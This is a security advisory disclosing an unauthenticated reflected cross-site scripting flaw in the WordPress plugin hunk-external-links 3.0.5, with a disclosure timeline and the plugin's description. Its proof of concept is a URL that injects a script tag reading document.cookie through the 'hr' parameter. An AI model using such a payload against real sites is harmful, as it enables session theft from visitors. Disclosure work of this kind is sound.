wp-plugin : hunk-external-links – A3-Cross-Site Scripting (XSS)

 

Plugin Details

 

Plugin Name : hunk-external-links

 

Effected Version : 3.0.5 (and most probably lower version's if any)

 
Vulnerability : A3-Cross-Site Scripting (XSS)
 
Identified by : Anant Shrivastava

 

 

Technical Details

 

Minimum Level of Access Required : Unauthenticated

 

PoC - (Proof of Concept) :

 
http://localhost/wp-content/plugins/hunk-external-links/hunk-external-iframe.php?hr=hr"><script>alert(document.cookie)</script>&

 

Vulnerable Parameter : hr

 

Type of XSS : Reflected

 

Disclosure Timeline

 

Vendor Contacted : 2014-01-05

 
Plugin Status : Closed
 
Public Disclosure : July 7, 2014
 
CVE Number : Not assigned yet

 
Plugin Description :
 
Hunk external links plugin for WordPress lets you process outgoing links differently from internal links.

You can configure the plugin to:

- Process all outgoing links, rather than only those within your entries' content.
- Add an external link icon to outgoing links. You can use a class="noicon" attribute on links to override this.
- Open outgoing links in new windows. Note that this can damage your visitor's trust towards your site in that they can think your site used a pop-under.
- Add rel=nofollow to the links. This is not very nice for those you're linking to, but useful to avoid PR leak.
- Open outgoing links in your own page, Then you can go back.

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